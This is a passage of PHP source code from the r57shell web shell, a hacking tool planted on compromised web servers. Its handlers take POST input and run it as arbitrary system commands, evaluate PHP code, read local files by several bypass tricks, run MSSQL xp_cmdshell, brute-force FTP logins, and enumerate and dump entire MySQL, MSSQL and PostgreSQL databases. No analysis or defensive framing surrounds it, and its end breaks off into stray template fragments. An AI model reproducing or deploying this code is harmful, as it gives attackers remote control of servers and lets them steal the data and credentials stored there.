r57shell

";
if($safe_mode)
{
 switch($_POST['cmd'])
 {
 case 'safe_dir':
  $d=@dir($dir);
  if ($d)
   {
   while (false!==($file=$d->read()))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if($windows){ 
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{ 
     $owner = @posix_getpwuid($uid);
     $grgid = @posix_getgrgid($gid);
     echo $inode." ";
     echo perms(@fileperms($file));
     printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo date("d.m.Y H:i ",$mtime);
     }
     echo "$file\n";
    }
   $d->close();
   }
  else echo $lang[$language._text29];
 break;
 case 'safe_file':
  if(@is_file($_POST['file']))
   {
   $file = @file($_POST['file']);
   if($file)
    {
    $c = @sizeof($file);
    for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
    }
   else echo $lang[$language._text29];
   }
  else echo $lang[$language._text31];
  break;
  case 'test1':
  $ci = @curl_init("file://".$_POST['test1_file']."");
  $cf = @curl_exec($ci);
  echo $cf;
  break;
  case 'test2':
  @include($_POST['test2_file']);
  break;
  case 'test3':
  if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  if($db)
   {
   if(@mysql_select_db($_POST['test3_md'],$db))
    {
     $sql = "DROP TABLE IF EXISTS temp_r57_table;";
     @mysql_query($sql);
     $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
     @mysql_query($sql);
     $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
     @mysql_query($sql);
     $sql = "SELECT * FROM temp_r57_table;";
     $r = @mysql_query($sql);
     while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
     $sql = "DROP TABLE IF EXISTS temp_r57_table;";
     @mysql_query($sql);
    }
    else echo "[-] ERROR! Can't select database";
   @mysql_close($db);
   }
  else echo "[-] ERROR! Can't connect to mysql server";
  break;
  case 'test4':
  if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  if($db)
   {
   if(@mssql_select_db($_POST['test4_md'],$db))
    {
     @mssql_query("drop table r57_temp_table",$db);
     @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
     @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
     $res = mssql_query("select * from r57_temp_table",$db);
     while(($row=@mssql_fetch_row($res)))
      {
      echo $row[0]."\r\n";
      }	
    @mssql_query("drop table r57_temp_table",$db);
    }
    else echo "[-] ERROR! Can't select database";
   @mssql_close($db);
   }
  else echo "[-] ERROR! Can't connect to MSSQL server";
  break;
 }
}
else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
 $cmd_rep = ex($_POST['cmd']);
 if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
 else { echo @htmlspecialchars($cmd_rep)."\n"; }}
if ($_POST['cmd']=="ftp_brute")
 {
 $suc = 0;
 foreach($users as $user)
  {	
  $connection = @ftp_connect($ftp_server,$ftp_port,10);	
  if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } 
  @ftp_close($connection);
  }
 echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse'])) { $count *= 2; }
 echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 }
if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 @eval($eval);}
if ($_POST['cmd']=="db_show")
 {
 switch($_POST['db'])
 {
 case 'MySQL':
 if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
 $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
 if($db)
   {
   $res=@mysql_query("SHOW DATABASES", $db);
   while(($row=@mysql_fetch_row($res)))
    {
     echo "[+] ".$row[0]."\r\n";
     if(isset($_POST['st'])){
     $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
     while(($row2=@mysql_fetch_row($res2))) 
      {
      echo " | - ".$row2[0]."\r\n";
      if(isset($_POST['sc']))
       {
       $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
       while(($row3=@mysql_fetch_row($res3))) { echo "   | - ".$row3[0]."\r\n"; }
       }
      }	
     }
    }
   @mysql_close($db);
   }
 else echo "[-] ERROR! Can't connect to MySQL server";  	
 break;
 case 'MSSQL':
 if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
 $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
 if($db)
   {
   $res=@mssql_query("sp_databases", $db);
   while(($row=@mssql_fetch_row($res)))
    {
     echo "[+] ".$row[0]."\r\n";
     if(isset($_POST['st'])){
     @mssql_select_db($row[0]);
     $res2 = @mssql_query("sp_tables",$db);
     while(($row2=@mssql_fetch_array($res2))) 
      {
      if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
      {
      echo " | - ".$row2['TABLE_NAME']."\r\n"; 
      if(isset($_POST['sc']))
       {
       $res3 = @mssql_query("sp_columns ".$row2[2],$db);
       while(($row3=@mssql_fetch_array($res3))) { echo "   | - ".$row3['COLUMN_NAME']."\r\n"; }
       }
      }
      }	
     }
    }
   @mssql_close($db);
   }
 else echo "[-] ERROR! Can't connect to MSSQL server";
 break;
 case 'PostgreSQL':
 if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  $db = @pg_connect($str);
  if($db)
  {
  $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
   while(($row=@pg_fetch_row($res)))
    {
     echo "[+] ".$row[0]."\r\n";
    }	
  @pg_close($db);
  }
 else echo "[-] ERROR! Can't connect to PostgreSQL server"; 	
 break;
 }
 }
if ($_POST['cmd']=="mysql_dump")
 {
  if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
  $sqh  = "# homepage: http://rst.void.ru\r\n";
  $sqh .= "# ---------------------------------\r\n";
  $sqh .= "#     date : ".date ("j F Y g:i")."\r\n";
  $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
  $sqh .= "#    table : ".$_POST['mysql_tbl']."\r\n";
  $sqh .= "# ---------------------------------\r\n\r\n";
  switch($_POST['db']){
  case 'MySQL':
  if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  if($db)
   {
   if(@mysql_select_db($_POST['mysql_db'],$db))
    {
     $sql1  = "# MySQL dump created by r57shell\r\n";
     $sql1 .= $sqh;
     $res   = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
     $row   = @mysql_fetch_row($res);
     $sql1 .= $row[1]."\r\n\r\n";
     $sql1 .= "# ---------------------------------\r\n\r\n";
     $sql2 = '';
     $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
     if (@mysql_num_rows($res) > 0) {
     while (($row = @mysql_fetch_assoc($res))) {
     $keys = @implode("`, `", @array_keys($row));
     $values = @array_values($row);
     foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
     $values = @implode("', '", $values);
     $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
     }
     $sql2 .= "\r\n# ---------------------------------";
     }
    if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
    else { echo $sql1.$sql2; }
    }
    else echo "[-] ERROR! Can't select database";
   @mysql_close($db);
   }
  else echo "[-] ERROR! Can't connect to MySQL server";
  break;
  case 'MSSQL':
  if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  if($db)
  {
   if(@mssql_select_db($_POST['mysql_db'],$db))
    {
     $sql1  = "# MSSQL dump created by r57shell\r\n";
     $sql1 .= $sqh;
     $sql2 = '';
     $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
     if (@mssql_num_rows($res) > 0) {
     while (($row = @mssql_fetch_assoc($res))) {
     $keys = @implode(", ", @array_keys($row));
     $values = @array_values($row);
     foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
     $values = @implode("', '", $values);
     $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
     }
     $sql2 .= "\r\n# ---------------------------------";
     }
     if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
     else { echo $sql1.$sql2; }
    }
   else echo "[-] ERROR! Can't select database";
   @mssql_close($db); 	
  }	
  else echo "[-] ERROR! Can't connect to MSSQL server";
  break;
  case 'PostgreSQL':
  if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  $db = @pg_connect($str);
  if($db)
  {
     $sql1  = "# PostgreSQL dump created by r57shell\r\n";
     $sql1 .= $sqh;
     $sql2 = '';
     $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
     if (@pg_num_rows($res) > 0) {
     while (($row = @pg_fetch_assoc($res))) {
     $keys = @implode(", ", @array_keys($row));
     $values = @array_values($row);
     foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
     $values = @implode("', '", $values);
     $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
     }
     $sql2 .= "\r\n# ---------------------------------";
     }
     if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
     else { echo $sql1.$sql2; }
   @pg_close($db); 	
  }	
  else echo "[-] ERROR! Can't connect to PostgreSQL server";
  break;
  } 
 } 
 else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
 } 
echo "

Directive	Local Value	Master Value
'.ws(3).''.$key.'	'.U_value($value['local_value']).'	'.U_value($value['global_value']).'

'.ws(3).''.trim($info[0]).'	'.trim($info[1]).'
'.ws(3).' ---

".ws(3); $r .= ($windows)? str_replace("/","\\",$file) : $file; $r .= ""; $r .= "
".$a."	".ws(2).$b."